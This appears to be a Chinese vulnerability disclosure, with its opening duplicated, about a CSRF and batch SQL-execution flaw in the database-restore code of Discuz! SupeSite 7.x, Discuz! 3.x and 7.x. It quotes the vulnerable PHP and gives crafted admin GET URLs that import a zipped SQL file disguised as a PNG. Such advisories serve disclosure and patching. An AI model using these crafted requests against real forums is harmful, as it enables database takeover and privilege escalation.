### 简要描述: Discuz!旗下产品统一存在一个sql批量执行风险(dz3.x,dz7.x,SupeSite7.x等等) ### 详细说明: 今天看dz的SupeSite7.x产品的时候,发现一个dz统一存在的脱裤风险: 直接看代码,我们在做数据库还原的时候,抓到一个链接: http://192.168.10.70/SupeSite7.5_SC_UTF8https://images.seebug.org/upload//admincp.php?action=database&op=importstart&do=import&datafile=./backup_OpVKpM/140928_0Idz28GO-1.sql 这个链接的意思就是从某一个文件然后读取sql语句,进行还原 那么我们来分析一下代码: admin_databases.php:(457-483): ``` elseif($op == 'importstart') { $do = postget('do') ; $delunzip = postget('delunzip'); $datafile = postget('datafile'); $confirm = postget('confirm'); $multivol = postget('multivol'); $datafile_vol1 = postget('datafile_vol1'); $autoimport = postget('autoimport'); if($do == 'zip') { require_once S_ROOT .'./include/zip.lib.php'; $unzip = new SimpleUnzip(); $unzip->ReadFile($datadir.'/'.$datafile); echo $datadir.'/'.$datafile; echo " "; echo $unzip->GetName(0); exit; if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match('/\.sql$/i', $importfile = $unzip->GetName(0))) {...
### 简要描述: Discuz!旗下产品统一存在一个sql批量执行风险(dz3.x,dz7.x,SupeSite7.x等等) ### 详细说明: 今天看dz的SupeSite7.x产品的时候,发现一个dz统一存在的脱裤风险: 直接看代码,我们在做数据库还原的时候,抓到一个链接: http://192.168.10.70/SupeSite7.5_SC_UTF8https://images.seebug.org/upload//admincp.php?action=database&op=importstart&do=import&datafile=./backup_OpVKpM/140928_0Idz28GO-1.sql 这个链接的意思就是从某一个文件然后读取sql语句,进行还原 那么我们来分析一下代码: admin_databases.php:(457-483): ``` elseif($op == 'importstart') { $do = postget('do') ; $delunzip = postget('delunzip'); $datafile = postget('datafile'); $confirm = postget('confirm'); $multivol = postget('multivol'); $datafile_vol1 = postget('datafile_vol1'); $autoimport = postget('autoimport'); if($do == 'zip') { require_once S_ROOT .'./include/zip.lib.php'; $unzip = new SimpleUnzip(); $unzip->ReadFile($datadir.'/'.$datafile); echo $datadir.'/'.$datafile; echo " "; echo $unzip->GetName(0); exit; if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match('/\.sql$/i', $importfile = $unzip->GetName(0))) { showmessage('database_import_file_illegal'); } $identify = explode(',', base64_decode(preg_replace('/^# identify:\s*(\w+).*/s', '\\1', substr($unzip->GetData(0), 0, 256)))); $info = basename($datafile).'<br />'.$alang['database_export_version'].':'.$identify[1].'<br />'.$alang['database_export_type'].':'.$alang['database_export_'.$identify[2]].'<br />'.$alang['database_method'].':'.($identify[3] == 'multivol' ? $alang['database_multivol'] : $alang['database_shell']).'<br />'; //检查版本号 $confirm = isset($confirm) ? 1 : 0; ``` 问题刚才的url逻辑走向不会走到这里,我们改一下url: http://192.168.10.70/SupeSite7.5_SC_UTF8https://images.seebug.org/upload//admincp.php?action=database&op=importstart&do=zip&datafile=./backup_OpVKpM/xxxx.png 这里我们选择do为zip 然后 datafile为一个png,关键问题就在这里 我们首先压缩一个sql文件到zip文件里面,然后把这个zip文件后缀改为png 由于涉及导致这里没有对zip文件做判断 只是对解压出来的文件做了一个sql后缀判断 那么我们打印一下,看看是否能够解压出来 [<img src="https://images.seebug.org/upload/201409/28133346cd0d1abaac86ab48ff749ff72c422b5f.png" alt="52.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/28133346cd0d1abaac86ab48ff749ff72c422b5f.png) 哈哈到此为止,我就不多做演示了,后面的步骤,就是根据sql语句里面的代码,然后一条条执行 我发了好多这种类型的csrf,这个也是个get类型的,老样子,一张图片搞定 下来我们分析DZ3.x,dz3.x做数据库还原的时候,本身data目录底下是没有restore.php ,需要从工具那边copy过来,这里我们只是分析风险,看代码 restore.php:(142-162): ``` } elseif($operation == 'importzip') { if(!getgpc('datafile_server')) { show_msg('database_import_file_illegal'); } else { $datafile_server = getgpc('datafile_server'); if(!@file_exists($datafile_server)) { show_msg('database_import_file_illegal'); } } $datafile_vol1 = trim(getgpc('datafile_vol1', 'G')); $multivol = intval(getgpc('multivol', 'G')); require_once ROOT_PATH.'./source/class/class_zip.php'; $unzip = new SimpleUnzip(); $backupdir = substr($datafile_server, 8, 13); $unzip->ReadFile($datafile_server); if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) { show_msg('database_import_file_illegal'); } ``` 看见没有 这里面的datafile_server 类型为zip的时候 也是没有做文件后缀的判断,直接解压出来sql文件,然后一条条执行语句,这里我就不截图证明了 我们直接看7.x,7.x可就不用那么copy还原文件了,直接操作数据库都可以 首先看代码 db.inc.php:(323-339): ``` } elseif($operation == 'importzip') { if(empty($datafile_server)) { cpmsg('database_import_file_illegal', '', 'error'); } else { $datafile_server = DISCUZ_ROOT.'./forumdata/'.$backupdir.'/'.basename($datafile_server); if(!@file_exists($datafile_server)) { cpmsg('database_import_file_illegal', '', 'error'); } } require_once DISCUZ_ROOT.'admin/zip.func.php'; $unzip = new SimpleUnzip(); $unzip->ReadFile($datafile_server); if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) { cpmsg('database_import_file_illegal', '', 'error'); } ``` 这里的代码依旧是没有做zip后缀检测,这里我们打印一下过程,证明是可以csrf+sql批量执行的 我们进行数据库恢复,抓取到一个get链接: http://192.168.10.70/Discuz_7.2_SC_UTF8https://images.seebug.org/upload/admincp.php?action=db&operation=import&from=server&datafile_server=./forumdata/backup_997165/140915_ce31AeXP-1.sql&importsubmit=yes 我们 修改一下这个链接 http://192.168.10.70/Discuz_7.2_SC_UTF8https://images.seebug.org/upload/admincp.php?action=db&operation=importzip&from=server&datafile_server=./forumdata/backup_997165/xxxx.png&importsubmit=yes 压缩一个sql文件为xxxx.zip 然后改为xxxx.png,测试期间我们就放到这个目录下,因为这个目录支持目录遍历,到时候前台上传一个图片就ok了 在代码中打印: ``` require_once DISCUZ_ROOT.'admin/zip.func.php'; $unzip = new SimpleUnzip(); $unzip->ReadFile($datafile_server); echo $unzip->GetName(0); exit; ``` 结果如图所示: [<img src="https://images.seebug.org/upload/201409/28134756751bbf4b128afe3b37dbfe55ddedc1ae.png" alt="53.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/28134756751bbf4b128afe3b37dbfe55ddedc1ae.png) 到这里 之后的东西我就不演示了 csrf+get请求 批量执行sql,这个东西其实还蛮严重的 因为这里支持各种操作,root 就能提权等等 ### 漏洞证明: